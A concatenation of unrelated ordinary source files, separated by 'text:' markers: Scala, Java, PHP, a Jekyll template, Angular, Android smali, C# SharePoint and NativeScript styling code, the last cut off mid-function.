    * @return the time in the format of System.currentTimeMillis
    */
  def squuidTimeMillis(squuid: UUID): Long =
    datomic.Peer.squuidTimeMillis(squuid)

  /** Returns the t value associated with this tx
    *
    * (Copied from Datomic docs)
    *
    * @param tx a transaction entity id
    * @return a database basis T point
    */
  def toT(tx: Long): Long =
    datomic.Peer.toT(tx: java.lang.Long)

  /** Returns the tx associated with this t value.
    *
    * (Copied from Datomic docs)
    *
    * @param t a database basis T point
    * @return a transaction entity id
    */
  def toTx(t: Long): Long =
    datomic.Peer.toTx(t).asInstanceOf[Long]

}


text:
package io.reactors.japi;

import io.reactors.SysEvent;
import java.util.function.Consumer;

public abstract class Reactor<T> {
  private io.reactors.concurrent.Frame frame;
  private ReactorSystem system;
  private Connector<T> defaultConnector;

  public Reactor() {
    frame = io.reactors.Reactor$.MODULE$.currentFrame();
    system = ReactorSystem.from(frame.reactorSystem());
    defaultConnector = new Connector(frame.defaultConnector());
  }

  public ReactorSystem system() {
    return system;
  }

  public long uid() {
    return frame.uid();
  }

  public Connector<T> main() {
    return defaultConnector;
  }

  public Events<SysEvent> sysEvents() {
    return new Events(frame.reactor().sysEvents());
  }

  private static class AnonymousReactor<T> extends Reactor<T> {
    public AnonymousReactor(Consumer<Reactor<T>> c) {
      c.accept(this);
    }
  }

  public static <T> Proto<T> apply(Consumer<Reactor<T>> c) {
    return Proto.create(AnonymousReactor.class, c);
  }
}


text:
<?php

namespace Atomic\Utilities;

use Atomic\Config\Config;

class ShutdownHandler {

	protected static $_registered;

	/**
	 * Properly Shutsdown Atomic by deleting
	 * extra files left in the /tmp directory,
	 * and it closes any open file pointers
	 * to the error log file.
	 */

	public static function shutdownAtomic() {
		// Shuffle through tmp folder and delete existing files
		$tmp_path = Config::getBasePath() . "/tmp";
		if(is_dir($tmp_path)) {
			$dh = opendir($tmp_path);
			while($file = readdir($dh)) {
				clearstatcache();
				unlink($tmp_path . "/" . $file);
			}
			closedir($dh);
		}

		// Close any open file pointers in the log file
		$log_path = Config::getBasePath() . "/app/logs/errors.log";
		if(is_file($log_path) && file_exists($log_path)) {
			$fh = fopen($log_path);
			flock($fh, LOCK_UN);
			fclose($fh);
		}
	}

	/**
	 * Registers the Shutdown Handler
	 */

	public static function registerShutdown() {
		static::$_registered
			= register_shutdown_function(function() {
			ShutdownHandler::shutdownAtomic();
		});
	}
}


text:
<head>
  <meta charset="utf-8" />
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0">

  <title>{% if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}</title>

  <meta name="author" content="{{ site.author.name }}" />

  {% if page.subtitle %}
  <meta name="description" content="{{ page.subtitle }}">
  {% endif %}

  <link rel="alternate" type="application/rss+xml" title="{{ site.title }} - {{ site.description }}" href="{{ site.baseurl }}/feed.xml" />

  {% if page.common-ext-css %}
    {% for css in page.common-ext-css %}
      <link rel="stylesheet" href="{{ css }}" />
    {% endfor %}
  {% endif %}

  {% if page.common-css %}
    {% for css in page.common-css %}
      <link rel="stylesheet" href="{{ css | prepend: site.baseurl | replace: '//', '/' }}" />
    {% endfor %}
  {% endif %}

  {% if page.common-googlefonts %}
    {% for font in page.common-googlefonts %}
	  <link rel="stylesheet" href="//fonts.googleapis.com/css?family={{ font }}" />
    {% endfor %}
  {% endif %}

  {% if page.ext-css %}
    {% for css in page.ext-css %}
      <link rel="stylesheet" href="{{ css }}" />
    {% endfor %}
  {% endif %}

  {% if page.css %}
    {% for css in page.css %}
      <link rel="stylesheet" href="{{ css | prepend: site.baseurl | replace: '//', '/' }}" />
    {% endfor %}
  {% endif %}

  {% if page.googlefonts %}
    {% for font in page.googlefonts %}
	  <link rel="stylesheet" href="//fonts.googleapis.com/css?family={{ font }}" />
    {% endfor %}
  {% endif %}

  <!--<link href="//netdna.bootstrapcdn.com/bootstrap/3.1.0/css/bootstrap.min.css" rel="stylesheet">
  <link href="//rawgithub.com/ashleydw/lightbox/master/dist/ekko-lightbox.css" rel="stylesheet"> -->

  <!-- Facebook OpenGraph tags -->
  <meta property="og:title" content="{% if page.title %}{{ page.title }}{% else %}{{ site.title }}{% endif %}" />
  <meta property="og:type" content="website" />

  {% if page.id %}
  <meta property="og:url" content="{{ site.url }}{{ page.url }}/" />
  {% else %}
  <meta property="og:url" content="{{ site.url }}{{ page.url | remove: '/index.html' | remove: '.html' }}" />
  {% endif %}

  {% if page.fb-img %}
  <meta property="og:image" content="{{ page.fb-img }}" />
  {% elsif site.avatar %}
  <meta property="og:image" content="{{ site.url }}{{ site.avatar }}" />
  {% else %}
  <meta property="og:image" content="" />
  {% endif %}

<!-- <script src="//code.jquery.com/jquery.js"></script>
<script src="//maxcdn.bootstrapcdn.com/bootstrap/3.3.4/js/bootstrap.min.js"></script>
<script src="//cdnjs.cloudflare.com/ajax/libs/ekko-lightbox/4.0.1/ekko-lightbox.min.js"></script>
<script type="text/javascript">
$(document).ready(function ($) {

// delegate calls to data-toggle="lightbox"
$(document).delegate('*[data-toggle="lightbox"]', 'click', function(event) {
	event.preventDefault();
	return $(this).ekkoLightbox({
	always_show_close: true
	});
});

});
</script> -->

<script src="http://maps.googleapis.com/maps/api/js"></script>
<script>
function initialize() {
  var mapProp = {
    center:new google.maps.LatLng(13.07935,74.79589),
    zoom:16,
    mapTypeId:google.maps.MapTypeId.ROADMAP
  };
  var map=new google.maps.Map(document.getElementById("googleMap"),mapProp);
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>

</head>


text:
import { Component } from '@angular/core';

import { ApiService } from './shared';

import '../style/app.scss';

@Component({
  selector: 'my-app', // <my-app></my-app>
  templateUrl: './app.component.html',
  styleUrls: ['./app.component.scss'],
})
export class AppComponent {
  url = 'https://github.com/cattatsys/angular-webpack-json';
  title: string;
  users = [];
  displayJson: any;
  constructor(private api: ApiService) {
    this.title = this.api.title;
  };
  getJson() {
    this.displayJson = !this.displayJson;
    this.api.getJson()
      .subscribe(data => this.users = data);
  }
}


text:
.class public Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;
.super Landroid/content/BroadcastReceiver;
.source "BluetoothShareGatewayReceiver.java"

# static fields
.field private static final ACTION_OPEN_RECEIVED_FILES:Ljava/lang/String; = "android.btopp.intent.action.OPEN_RECEIVED_FILES"

.field private static final ACTION_SEND_BIP_FILES:Ljava/lang/String; = "com.mediatek.bluetooth.sharegateway.action.ACTION_SEND_BIP_FILES"

.field private static final TAG:Ljava/lang/String; = "BluetoothShareGatewayReceiver"

.field private static sBip:Z

.field private static sIntent:Landroid/content/Intent;

.field private static sType:Ljava/lang/String;

# direct methods
.method public constructor <init>()V
    .locals 0

    .prologue
    .line 52
    invoke-direct {p0}, Landroid/content/BroadcastReceiver;-><init>()V

    return-void
.end method

.method private profileDispatcher(Landroid/content/Context;Landroid/bluetooth/BluetoothDevice;)V
    .locals 4
    .parameter "context"
    .parameter "remoteDevice"

    .prologue
    .line 113
    sget-object v1, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    const-string v2, "android.bluetooth.device.extra.DEVICE"

    invoke-virtual {v1, v2, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Landroid/os/Parcelable;)Landroid/content/Intent;

    .line 114
    invoke-virtual {p2}, Landroid/bluetooth/BluetoothDevice;->getUuids()[Landroid/os/ParcelUuid;

    move-result-object v0

    .line 131
    .local v0, uuids:[Landroid/os/ParcelUuid;
    const-string v1, "BluetoothShareGatewayReceiver"

    const-string v2, "OPP is supported"

    invoke-static {v1, v2}, Lcom/mediatek/xlog/Xlog;->v(Ljava/lang/String;Ljava/lang/String;)I

    .line 133
    sget-object v1, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    const-string v2, "com.mediatek.bluetooth"

    const-string v3, "com.mediatek.bluetooth.opp.mmi.OppClientActivity"

    invoke-virtual {v1, v2, v3}, Landroid/content/Intent;->setClassName(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;

    .line 140
    sget-object v1, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    const/high16 v2, 0x1000

    invoke-virtual {v1, v2}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;

    .line 141
    sget-object v1, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    invoke-virtual {p1, v1}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V

    .line 143
    return-void
.end method

# virtual methods
.method public onReceive(Landroid/content/Context;Landroid/content/Intent;)V
    .locals 7
    .parameter "context"
    .parameter "intent"

    .prologue
    .line 70
    const-string v4, "BluetoothShareGatewayReceiver"

    const-string v5, "BSG broadcast receiver receives intent"

    invoke-static {v4, v5}, Lcom/mediatek/xlog/Xlog;->v(Ljava/lang/String;Ljava/lang/String;)I

    .line 72
    invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;

    move-result-object v0

    .line 74
    .local v0, action:Ljava/lang/String;
    const-string v4, "android.bluetooth.devicepicker.action.DEVICE_SELECTED"

    invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v4

    if-eqz v4, :cond_1

    .line 76
    const-string v4, "android.bluetooth.device.extra.DEVICE"

    invoke-virtual {p2, v4}, Landroid/content/Intent;->getParcelableExtra(Ljava/lang/String;)Landroid/os/Parcelable;

    move-result-object v3

    check-cast v3, Landroid/bluetooth/BluetoothDevice;

    .line 77
    .local v3, remoteDevice:Landroid/bluetooth/BluetoothDevice;
    const-string v4, "BluetoothShareGatewayReceiver"

    new-instance v5, Ljava/lang/StringBuilder;

    invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V

    const-string v6, "Received BT device selected intent, bt device: "

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v5

    invoke-virtual {v5, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/Object;)Ljava/lang/StringBuilder;

    move-result-object v5

    invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v5

    invoke-static {v4, v5}, Lcom/mediatek/xlog/Xlog;->v(Ljava/lang/String;Ljava/lang/String;)I

    .line 88
    if-eqz v3, :cond_0

    .line 89
    invoke-direct {p0, p1, v3}, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->profileDispatcher(Landroid/content/Context;Landroid/bluetooth/BluetoothDevice;)V

    .line 110
    .end local v3           #remoteDevice:Landroid/bluetooth/BluetoothDevice;
    :cond_0
    :goto_0
    return-void

    .line 91
    :cond_1
    const-string v4, "android.btopp.intent.action.OPEN_RECEIVED_FILES"

    invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v4

    if-eqz v4, :cond_2

    .line 93
    new-instance v2, Landroid/content/Intent;

    const-class v4, Lcom/mediatek/bluetooth/share/BluetoothShareMgmtActivity;

    invoke-direct {v2, p1, v4}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V

    .line 94
    .local v2, openReceivedIntent:Landroid/content/Intent;
    const/high16 v4, 0x1400

    invoke-virtual {v2, v4}, Landroid/content/Intent;->setFlags(I)Landroid/content/Intent;

    .line 96
    invoke-virtual {p1, v2}, Landroid/content/Context;->startActivity(Landroid/content/Intent;)V

    goto :goto_0

    .line 97
    .end local v2           #openReceivedIntent:Landroid/content/Intent;
    :cond_2
    const-string v4, "com.mediatek.bluetooth.sharegateway.action.ACTION_SETTINGS"

    invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z

    move-result v4

    if-eqz v4, :cond_0

    .line 98
    invoke-virtual {p2}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;

    move-result-object v1

    .line 99
    .local v1, bundle:Landroid/os/Bundle;
    if-eqz v1, :cond_3

    .line 100
    const-string v4, "Type"

    invoke-virtual {v1, v4}, Landroid/os/Bundle;->getString(Ljava/lang/String;)Ljava/lang/String;

    move-result-object v4

    sput-object v4, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sType:Ljava/lang/String;

    .line 101
    const-string v4, "BipFlag"

    const/4 v5, 0x0

    invoke-virtual {v1, v4, v5}, Landroid/os/Bundle;->getBoolean(Ljava/lang/String;Z)Z

    move-result v4

    sput-boolean v4, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sBip:Z

    .line 102
    const-string v4, "Intent"

    invoke-virtual {v1, v4}, Landroid/os/Bundle;->getParcelable(Ljava/lang/String;)Landroid/os/Parcelable;

    move-result-object v4

    check-cast v4, Landroid/content/Intent;

    sput-object v4, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    .line 103
    sget-object v4, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sIntent:Landroid/content/Intent;

    if-nez v4, :cond_3

    .line 104
    const-string v4, "BluetoothShareGatewayReceiver"

    const-string v5, "sIntent == null"

    invoke-static {v4, v5}, Lcom/mediatek/xlog/Xlog;->v(Ljava/lang/String;Ljava/lang/String;)I

    .line 108
    :cond_3
    const-string v4, "BluetoothShareGatewayReceiver"

    new-instance v5, Ljava/lang/StringBuilder;

    invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V

    const-string v6, "sType = "

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v5

    sget-object v6, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sType:Ljava/lang/String;

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v5

    const-string v6, "; sBip = "

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;

    move-result-object v5

    sget-boolean v6, Lcom/mediatek/bluetooth/BluetoothShareGatewayReceiver;->sBip:Z

    invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;

    move-result-object v5

    invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;

    move-result-object v5

    invoke-static {v4, v5}, Lcom/mediatek/xlog/Xlog;->v(Ljava/lang/String;Ljava/lang/String;)I

    goto :goto_0
.end method


text:
// Copyright (c) Microsoft. All rights reserved. Licensed under the MIT license. See full license at the bottom of this file.

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.SharePoint.Client;
using Microsoft.SharePoint.Client.EventReceivers;
using System.Data.SqlClient;
using System.Data;
using ChainStoreWeb.Utilities;

namespace ChainStoreWeb.Services
{
    public class AppEventReceiver : IRemoteEventService
    {
        /// <summary>
        /// Handles app events that occur after the app is installed or upgraded, or when app is being uninstalled.
        /// </summary>
        /// <param name="properties">Holds information about the app event.</param>
        /// <returns>Holds information returned from the app event.</returns>
        public SPRemoteEventResult ProcessEvent(SPRemoteEventProperties properties)
        {
            SPRemoteEventResult result = new SPRemoteEventResult();
            string tenantName = properties.AppEventProperties.HostWebFullUrl.ToString();
            if (!tenantName.EndsWith("/"))
            {
                tenantName += "/";
            }

            switch (properties.EventType)
            {
                case SPRemoteEventType.AppInstalled:

                    try
                    {
                        CreateTenant(tenantName);
                    }
                    catch (Exception e)
                    {
                        // Tell SharePoint to cancel and roll back the event.
                        result.ErrorMessage = e.Message;
                        result.Status = SPRemoteEventServiceStatus.CancelWithError;
                    }

                    break;
                case SPRemoteEventType.AppUpgraded:
                    // This sample does not implement an add-in upgrade handler.
                    break;
                case SPRemoteEventType.AppUninstalling:

                    try
                    {
                        DeleteTenant(tenantName);
                    }
                    catch (Exception e)
                    {
                        // Tell SharePoint to cancel and roll back the event.
                        result.ErrorMessage = e.Message;
                        result.Status = SPRemoteEventServiceStatus.CancelWithError;
                    }

                    break;
            }

            return result;
        }

        private void CreateTenant(string tenantName)
        {
            // Do not catch exceptions. Allow them to bubble up and trigger roll back
            // of installation.

            using (SqlConnection conn = SQLAzureUtilities.GetActiveSqlConnection())
            using (SqlCommand cmd = conn.CreateCommand())
            {
                conn.Open();
                cmd.CommandText = "AddTenant";
                cmd.CommandType = CommandType.StoredProcedure;
                SqlParameter name = cmd.Parameters.Add("@Name", SqlDbType.NVarChar);
                name.Value = tenantName;
                cmd.ExecuteNonQuery();
            }//dispose conn and cmd
        }

        private void DeleteTenant(string tenantName)
        {
            // Do not catch exceptions. Allow them to bubble up and trigger roll back
            // of un-installation (removal from 2nd level Recycle Bin).

            using (SqlConnection conn = SQLAzureUtilities.GetActiveSqlConnection())
            using (SqlCommand cmd = conn.CreateCommand())
            {
                conn.Open();
                cmd.CommandText = "RemoveTenant";
                cmd.CommandType = CommandType.StoredProcedure;
                SqlParameter name = cmd.Parameters.Add("@Name", SqlDbType.NVarChar);
                name.Value = tenantName;
                cmd.ExecuteNonQuery();
            }//dispose conn and cmd
        }

        /// <summary>
        /// This method is a required placeholder, but is not used by app events.
        /// </summary>
        /// <param name="properties">Unused.</param>
        public void ProcessOneWayEvent(SPRemoteEventProperties properties)
        {
            throw new NotImplementedException();
        }
    }
}


text:
var types = require("utils/types");
var style = require("ui/styling/style");
var stylersCommon = require("ui/styling/stylers-common");
var enums = require("ui/enums");
var utils = require("utils/utils");
var styleModule = require("ui/styling/style");
var background = require("ui/styling/background");
var btn;
global.moduleMerge(stylersCommon, exports);
var _defaultBackgrounds = new Map();
function onBackgroundOrBorderPropertyChanged(v) {
    var nativeView = v._nativeView;
    if (!nativeView) {
        return;
    }
    var backgroundValue = v.style._getValue(styleModule.backgroundInternalProperty);
    var borderWidth = v.borderWidth;
    if (v.borderWidth !== 0 || v.borderRadius !== 0 || !backgroundValue.isEmpty()) {
        var bkg = nativeView.getBackground();
        if (!(bkg instanceof background.ad.BorderDrawable)) {
            bkg = new background.ad.BorderDrawable();
            var viewClass = types.getClass(v);
            if (!btn) {
                btn = require("ui/button");
            }
            if (!(v instanceof btn.Button) && !_defaultBackgrounds.has(viewClass)) {
                _defaultBackgrounds.set(viewClass, nativeView.getBackground());
            }
            nativeView.setBackground(bkg);
        }
        bkg.borderWidth = v.borderWidth;
        bkg.cornerRadius = v.borderRadius;
        bkg.borderColor = v.borderColor ? v.borderColor.android : android.graphics.Color.TRANSPARENT;
        bkg.background = backgroundValue;
    }
    else {
        if (v instanceof btn.Button) {
            var nativeButton = new android.widget.Button(nativeView.getContext());
            nativeView.setBackground(nativeButton.getBackground());
        }
        else {
            var viewClass = types.getClass(v);
            if (_defaultBackgrounds.has(viewClass)) {
                nativeView.setBackground(_defaultBackgrounds.get(viewClass));
            }
        }
    }
    var density = utils.layout.getDisplayDensity();
    nativeView.setPadding((borderWidth + v.style.paddingLeft) * density, (borderWidth + v.style.paddingTop) * density, (borderWidth + v.style.paddingRight) * density, (borderWidth + v.style.paddingBottom) * density);
}
var DefaultStyler = (function () {
    function DefaultStyler() {
    }
    DefaultStyler.setBackgroundBorderProperty = function (view, newValue, defaultValue) {
        onBackgroundOrBorderPropertyChanged(view);
    };
    DefaultStyler.resetBackgroundBorderProperty = function (view, nativeValue) {
        onBackgroundOrBorderPropertyChanged(view);
    };
    DefaultStyler.setVisibilityProperty = function (view, newValue) {
        var androidValue = (newValue === enums.Visibility.visible) ? android.view.View.VISIBLE : android.view.View.GONE;
        view._nativeView.setVisibility(androidValue);
    };
    DefaultStyler.resetVisibilityProperty = function (view, nativeValue) {
        view._nativeView.setVisibility(android.view.View.VISIBLE);
    };
    DefaultStyler.setOpacityProperty = function (view, newValue) {
        view._nativeView.setAlpha(float(newValue));
    };
    DefaultStyler.resetOpacityProperty = function (view, nativeValue) {
        view._nativeView.setAlpha(float(1.0));
    };
    DefaultStyler.setMinWidthProperty = function (view, newValue) {
        view._nativeView.setMinimumWidth(newValue * utils.layout.getDisplayDensity());
    };
    DefaultStyler.resetMinWidthProperty = function (view, nativeValue) {
        view._nativeView.setMinimumWidth(0);
    };
    DefaultStyler.setMinHeightProperty = function (view, newValue) {
        view._nativeView.setMinimumHeight(newValue * utils.layout.getDisplayDensity());
    };
    DefaultStyler.resetMinHeightProperty = function (view, nativeValue) {
        view._nativeView.setMinimumHeight(0);
    };
    DefaultStyler.getNativeLayoutParams = function (nativeView) {
        var lp = nativeView.getLayoutParams();
        if (!(lp instanceof org.nativescript.widgets.CommonLayoutParams)) {
            lp = new org.nativescript.widgets.CommonLayoutParams();
        }
        return lp;
    };
    DefaultStyler.setNativeLayoutParamsProperty = function (view, params) {
        var nativeView = view._nativeView;
        var lp = DefaultStyler.getNativeLayoutParams(nativeView);
        lp.leftMargin = params.leftMargin * utils.layout.getDisplayDensity();
        lp.topMargin = params.topMargin * utils.layout.getDisplayDensity();
        lp.rightMargin = params.rightMargin * utils.layout.getDisplayDensity();
        lp.bottomMargin = params.bottomMargin * utils.layout.getDisplayDensity();
        var width = params.width * utils.layout.getDisplayDensity();
        var height = params.height * utils.layout.getDisplayDensity();
        if (width < 0) {
            width = -2;
        }
        if (height < 0) {
            height = -2;
        }
        var gravity = 0;
        switch (params.horizontalAlignment) {
            case enums.HorizontalAlignment.left:
                gravity |= android.view.Gravity.LEFT;
                break;
            case enums.HorizontalAlignment.center:
                gravity |= android.view.Gravity.CENTER_HORIZONTAL;
                break;
            case enums.HorizontalAlignment.right:
                gravity |= android.view.Gravity.RIGHT;
                break;
            case enums.HorizontalAlignment.stretch:
                gravity |= android.view.Gravity.FILL_HORIZONTAL;
                if (width < 0) {
                    width = -1;
                }
                break;
            default:
                throw new Error("Invalid horizontalAlignment value: " + params.horizontalAlignment);
        }
        switch (params.verticalAlignment) {
            case enums.VerticalAlignment.top:
                gravity |= android.view.Gravity.TOP;
                break;
            case enums.VerticalAlignment.center:
                gravity |= android.view.Gravity.CENTER_VERTICAL;
                break;
            case enums.VerticalAlignment.bottom:
                gravity |= android.view.Gravity.BOTTOM;
                break;
            case enums.VerticalAlignment.stretch:
                gravity |= android.view.Gravity.FILL_VERTICAL;
                if (height < 0) {
                    height = -1;
                }
                break;
            default:
                throw new Error("Invalid verticalAlignment value: " + params.verticalAlignment);
        }
        lp.gravity = gravity;
        lp.width = width;
        lp.height = height;
        nativeView.setLayoutParams(lp);
    };
    DefaultStyler.resetNativeLayoutParamsProperty = function (view, nativeValue) {
        var nativeView = view._nativeView;
        var lp = DefaultStyler.getNativeLayoutParams(nativeView);
        lp.width = -1;
        lp.height = -1;
        lp.leftMargin = 0;
        lp.topMargin = 0;
        lp.rightMargin = 0;
        lp.bottomMargin = 0;
        lp.gravity = android.view.Gravity.FILL_HORIZONTAL | android.view.Gravity.FILL_VERTICAL;
        nativeView.setLayoutParams(lp);
    };
    DefaultStyler.setPaddingProperty = function (view, newValue) {
        var density = utils.layout.getDisplayDensity();
        var left = (newValue.left + view.borderWidth) * density;
        var top = (newValue.top + view.borderWidth) * density;
        var right = (newValue.right + view.borderWidth) * density;
        var bottom = (newValue.bottom + view.borderWidth) * density;
        view._nativeView.setPadding(left, top, right, bottom);
    };
    DefaultStyler.resetPaddingProperty = function (view, nativeValue) {
        var density = utils.layout.getDisplayDensity();
        var left = (nativeValue.left + view.borderWidth) * density;
        var top = (nativeValue.top + view.borderWidth) * density;
        var right = (nativeValue.right + view.borderWidth) * density;
        var bottom = (nativeValue.bottom + view.borderWidth) * density;
        view._nativeView.setPadding(left, top, right, bottom);
    };
    DefaultStyler.registerHandlers = function () {
        style.registerHandler(style.visibilityProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setVisibilityProperty, DefaultStyler.resetVisibilityProperty));
        style.registerHandler(style.opacityProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setOpacityProperty, DefaultStyler.resetOpacityProperty));
        style.registerHandler(style.minWidthProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setMinWidthProperty, DefaultStyler.resetMinWidthProperty));
        style.registerHandler(style.minHeightProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setMinHeightProperty, DefaultStyler.resetMinHeightProperty));
        var borderHandler = new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setBackgroundBorderProperty, DefaultStyler.resetBackgroundBorderProperty);
        style.registerHandler(style.backgroundInternalProperty, borderHandler);
        style.registerHandler(style.borderWidthProperty, borderHandler);
        style.registerHandler(style.borderColorProperty, borderHandler);
        style.registerHandler(style.borderRadiusProperty, borderHandler);
        style.registerHandler(style.nativeLayoutParamsProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setNativeLayoutParamsProperty, DefaultStyler.resetNativeLayoutParamsProperty));
        style.registerHandler(style.nativePaddingsProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setPaddingProperty, DefaultStyler.resetPaddingProperty), "TextBase");
        style.registerHandler(style.nativePaddingsProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setPaddingProperty, DefaultStyler.resetPaddingProperty), "Button");
        style.registerHandler(style.nativePaddingsProperty, new stylersCommon.StylePropertyChangedHandler(DefaultStyler.setPaddingProperty, DefaultStyler.resetPaddingProperty), "LayoutBase");
    };
    return DefaultStyler;
})();
exports.DefaultStyler = DefaultStyler;
var ImageStyler = (function () {
    function ImageStyler() {
    }
    ImageStyler.setBorderRadiusProperty = function (view, newValue, defaultValue) {
        if (!view._nativeView) {
            return;
        }
        var val = newValue * utils.layout.getDisplayDensity();
        view._nativeView.setCornerRadius(val);
        onBackgroundOrBorderPropertyChanged(view);
    };
    ImageStyler.resetBorderRadiusProperty = function (view, nativeValue) {
        if (!view._nativeView) {
            return;
        }
        view._nativeView.setCornerRadius(0);
        onBackgroundOrBorderPropertyChanged(view);
    };
    ImageStyler.setBorderWidthProperty = function (view, newValue, defaultValue) {
        if (!view._nativeView) {
            return;
        }
        var val = newValue * utils.layout.getDisplayDensity();
        view._nativeView.setBorderWidth(val);
        onBackgroundOrBorderPropertyChanged(view);
    };
    ImageStyler.resetBorderWidthProperty = function (view, nativeValue) {
        if (!view._nativeView) {
            return;
        }
        view._nativeView.setBorderWidth(0);
        onBackgroundOrBorderPropertyChanged(view);
    };
    ImageStyler.registerHandlers = function () {
        // Use the same handler for all background/border properties
        // Note: There is no default value getter - the default value is handled in onBackgroundOrBorderPropertyChanged
        style.registerHandler(style.borderRadiusProperty, new stylersCommon.StylePropertyChangedHandler(ImageStyler.setBorderRadiusProperty, ImageStyler.resetBorderRadiusProperty), "Image");
        style.registerHandler(style.borderWidthProperty, new stylersCommon.StylePropertyChangedHandler(ImageStyler.setBorderWidthProperty, ImageStyler.resetBorderWidthProperty), "Image");
    };
    return ImageStyler;
})();
exports.ImageStyler = ImageStyler;
var TextViewStyler = (function () {
    function TextViewStyler() {
    }
    TextViewStyler.setColorProperty = function (view, newValue) {
        view._nativeView.setTextColor(newValue);
    };
    TextViewStyler.resetColorProperty = function (view, nativeValue) {
        view._nativeView.setTextColor(nativeValue);
    };
    TextViewStyler.getNativeColorValue = function (view) {
        return view._nativeView.getTextColors().getDefaultColor();
    };
    TextViewStyler.setFontInternalProperty = function (view, newValue, nativeValue) {
        var tv = view._nativeView;
        var fontValue = newValue;
        var typeface = fontValue.getAndroidTypeface();
        if (typeface) {
            tv.setTypeface(typeface);
        }
        else {
            tv.setTypeface(nativeValue.typeface);
        }
        if (fontValue.fontSize) {
            tv.setTextSize(fontValue.fontSize);
        }
        else {
            tv.setTextSize(android.util.TypedValue.COMPLEX_UNIT_PX, nativeValue.size);
        }
    };
    TextViewStyler.resetFontInternalProperty = function (view, nativeValue) {
        var tv = view._nativeView;
        tv.setTypeface(nativeValue.typeface);
        tv.setTextSize(android.util.TypedValue.COMPLEX_UNIT_PX, nativeValue.size);
    };
    TextViewStyler.getNativeFontInternalValue = function (view) {
        var tv = view._nativeView;
        return {
            typeface: tv.getTypeface(),
            size: tv.getTextSize()
        };
    };
    TextViewStyler.setTextAlignmentProperty = function (view, newValue) {
        var verticalGravity = view._nativeView.getGravity() & android.view.Gravity.VERTICAL_GRAVITY_MASK;
        switch (newValue) {
            case enums.TextAlignment.left:
                view._nativeView.setGravity(android.view.Gravity.LEFT | verticalGravity);
                break;
            case enums.TextAlignment.center:
                view._nativeView.setGravity(android.view.Gravity.CENTER_HORIZONTAL | verticalGravity);
                break;
            case enums.TextAlignment.right:
                view._nativeView.setGravity(android.view.Gravity.RIGHT | verticalGravity);
                break;
            default:
                break;
        }
    };
    TextViewStyler.resetTextAlignmentProperty = function (view, nativeValue) {
        view._nativeView.setGravity(nativeValue);
    };
    TextViewStyler.getNativeTextAlignmentValue = function (view) {
        return view._nativeView.getGravity();
    };
    TextViewStyler.registerHandlers = function () {
        style.registerHandler(style.colorProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setColorProperty, TextViewStyler.resetColorProperty, TextViewStyler.getNativeColorValue), "TextBase");
        style.registerHandler(style.fontInternalProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setFontInternalProperty, TextViewStyler.resetFontInternalProperty, TextViewStyler.getNativeFontInternalValue), "TextBase");
        style.registerHandler(style.textAlignmentProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setTextAlignmentProperty, TextViewStyler.resetTextAlignmentProperty, TextViewStyler.getNativeTextAlignmentValue), "TextBase");
        style.registerHandler(style.colorProperty, new stylersCommon.StylePropertyChangedHandler(TextViewStyler.setColorProperty, TextViewStyler.resetColorProperty, TextViewStyler.getNativeColorValue), "Button");
